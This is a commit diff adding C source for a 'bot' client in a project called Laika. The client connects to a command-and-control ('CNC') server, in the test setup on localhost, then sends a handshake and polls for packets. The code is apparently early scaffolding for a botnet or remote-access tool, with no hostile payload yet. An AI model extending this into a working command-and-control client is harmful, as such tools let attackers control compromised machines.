First actual runnable version

- many warnings & bug fixes
- added bot/ source

bot/include/bot.h

@@ -0,0 +1,21 @@
+#ifndef LAIKA_BOT_H
+#define LAIKA_BOT_H
+
+#include "laika.h"
+#include "lpacket.h"
+#include "lsocket.h"
+#include "lpeer.h"
+#include "lpolllist.h"
+
+struct sLaika_bot {
+    struct sLaika_peer *peer;
+    struct sLaika_pollList pList;
+};
+
+struct sLaika_bot *laikaB_newBot(void);
+void laikaB_freeBot(struct sLaika_bot *bot);
+
+void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
+bool laikaB_poll(struct sLaika_bot *bot, int timeout);
+
+#endif

bot/src/bot.c

@@ -0,0 +1,73 @@
+#include "lmem.h"
+#include "lerror.h"
+#include "bot.h"
+
+size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
+    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
+};
+
+void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
+    printf("got %d packet id!\n", id);
+}
+
+struct sLaika_bot *laikaB_newBot(void) {
+    struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
+
+    laikaP_initPList(&bot->pList);
+    bot->peer = laikaS_newPeer(
+        laikaB_pktHandler,
+        laikaB_pktSizeTbl,
+        &bot->pList,
+        (void*)bot
+    );
+
+    return bot;
+}
+
+void laikaB_freeBot(struct sLaika_bot *bot) {
+    laikaP_cleanPList(&bot->pList);
+    laikaS_freePeer(bot->peer);
+    laikaM_free(bot);
+}
+
+void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
+    struct sLaika_socket *sock = &bot->peer->sock;
+
+    /* setup socket */
+    laikaS_connect(sock, ip, port);
+    laikaS_setNonBlock(sock);
+
+    laikaP_addSock(&bot->pList, sock);
+
+    /* queue handshake request */
+    laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
+    laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
+    laikaS_writeByte(sock, LIB_VERSION_MAJOR);
+    laikaS_writeByte(sock, LIB_VERSION_MINOR);
+
+    if (!laikaS_handlePeerOut(bot->peer))
+        LAIKA_ERROR("failed to send handshake request!\n")
+}
+
+bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
+    struct sLaika_pollEvent *evnt;
+    int numEvents;
+
+    evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
+
+    if (numEvents == 0) /* no events? timeout was reached */
+        return false;
+
+    if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
+        goto _BKill;
+
+    if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
+        goto _BKill;
+
+    if (!evnt->pollIn && !evnt->pollOut) {
+_BKill:
+        laikaS_kill(&bot->peer->sock);
+    }
+
+    return true;
+}

bot/src/main.c

@@ -0,0 +1,21 @@
+#include <stdio.h>
+
+#include "lerror.h"
+#include "bot.h"
+
+int main(int argv, char **argc) {
+    struct sLaika_bot *bot = laikaB_newBot();
+
+    /* connect to test CNC */
+    laikaB_connectToCNC(bot, "127.0.0.1", "13337");
+
+    /* while connection is still alive, poll bot */
+    while (laikaS_isAlive((&bot->peer->sock))) {
+        if (!laikaB_poll(bot, 1000)) {
+            printf("no events!\n");
+        }
+    }
+
+    printf("bot killed\n");
+    return 0;
+}